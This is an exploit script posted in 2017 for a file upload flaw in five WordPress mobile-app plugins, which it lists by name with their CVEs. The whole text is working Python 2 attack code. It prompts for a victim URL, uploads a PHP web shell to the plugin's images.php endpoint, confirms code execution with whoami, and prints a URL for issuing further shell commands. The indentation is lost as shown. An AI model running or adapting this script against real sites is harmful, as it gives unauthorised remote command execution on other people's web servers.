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WordPress Multiple Plugin File Upload

Posted on 20 March 2017

import requests
import random
import string
print "---------------------------------------------------------------------"
print "Multiple Wordpress Plugin - Remote File Upload Exploit
Discovery: Larry W. Cashdollar
Exploit Author: Munir Njiru
CWE: 434

1. Zen App Mobile Native <=3.0 (CVE-2017-6104)
2. Wordpress Plugin webapp-builder v2.0 (CVE-2017-1002002)
3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4 CVE-2017-1002003)
4.Wordpress Plugin mobile-app-builder-by-wappress v1.05 CVE-2017-1002001)
5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0 (CVE-2017-1002000)

Reference URLs:
http://www.vapidlabs.com/advisory.php?v=178
http://www.vapidlabs.com/advisory.php?v=179
http://www.vapidlabs.com/advisory.php?v=180
http://www.vapidlabs.com/advisory.php?v=181
http://www.vapidlabs.com/advisory.php?v=182"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
plug_choice=raw_input ("
 Please choose a number representing the plugin to attack: 
1. Zen App Mobile Native <=3.0
2. Wordpress Plugin webapp-builder v2.0
3. Wordpress Plugin wp2android-turn-wp-site-into-android-app v1.1.4
4.Wordpress Plugin mobile-app-builder-by-wappress v1.05
5. Wordpress Plugin mobile-friendly-app-builder-by-easytouch v3.0
")
if plug_choice=="1":
plugin="zen-mobile-app-native"
elif plug_choice=="2":
plugin="webapp-builder"
elif plug_choice=="3":
plugin="wp2android-turn-wp-site-into-android-app"
elif plug_choice=="4":
plugin="mobile-app-builder-by-wappress"
elif plug_choice=="5":
plugin="mobile-friendly-app-builder-by-easytouch"
else:
print "Invalid Plugin choice, I will now exit"
quit()
slug = "/wp-content/plugins/"+plugin+"/server/images.php"
target=victim+slug
def definShell(size=6, chars=string.ascii_uppercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))

shellName= definShell()+".php"

def checkExistence():
litmusTest = requests.get(target)
litmusState = litmusTest.status_code
if litmusState == 200:
print "
Testing if vulnerable script is available
I can reach the target & it seems vulnerable, I will attempt the exploit
Running exploit..."
exploit()
else:
print "Target has a funny code & might not be vulnerable, I will now exit
"
quit()

def exploit():
print "
Generating Payload: "+shellName+"
"
myShell = {'file': (shellName, '<?php echo system($_GET['alien']); ?>')}
shellEmUp = requests.post(target, files=myShell)
respShell = shellEmUp.text
cleanURL = respShell.replace("http://example.com/",victim+"/wp-content/plugins/"+plugin+"/")
shellLoc = cleanURL.replace(" ", "")
print "Confirming shell upload by printing current user
"
shellTest=requests.get(shellLoc+"?alien=whoami")
webserverUser=shellTest.text
if webserverUser == "":
print "I can't run the command can you try manually on the browser: 
"+shellLoc+"?alien=whoami"
quit()
else:
print "The current webserver user is: "+webserverUser+"
"
print "Shell Can be controlled from the browser by running :
"+shellLoc+"?alien=command"
quit()

if __name__ == "__main__":
checkExistence()

 

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